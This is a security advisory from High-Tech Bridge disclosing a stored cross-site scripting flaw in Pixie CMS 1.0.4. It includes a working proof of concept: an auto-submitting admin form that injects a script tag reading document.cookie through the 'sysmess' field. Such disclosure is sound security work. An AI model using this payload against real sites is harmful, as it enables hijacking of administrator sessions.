Stored XSS vulnerability in Pixie

Vulnerability ID: HTB22469
Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_pixie.html
Product: Pixie
Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ )
Vulnerable Version: 1.0.4 and Probably Prior Versions
Vendor Notification: 01 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the Pixie core settings saving script to properly sanitize user-supplied input in "sysmess" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&amp;x=pixie&quot; method="post" name="main" >
<input type="hidden" name="langu" value="en-gb" />
<input type="hidden" name="time_zone" value="+0" />
<input type="hidden" name="dstime" value="no" />
<input type="hidden" name="dateformat" value="%Oe %B %Y, %H:%M" />
<input type="hidden" name="rte" value="1" />
<input type="hidden" name="logs" value="5" />
<input type="hidden" name="sysmess" value='hello message"><script>alert(document.cookie)</script>' />
<input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" />
</form>
<script>
document.getElementById('form_addedit_submit').click();
</script>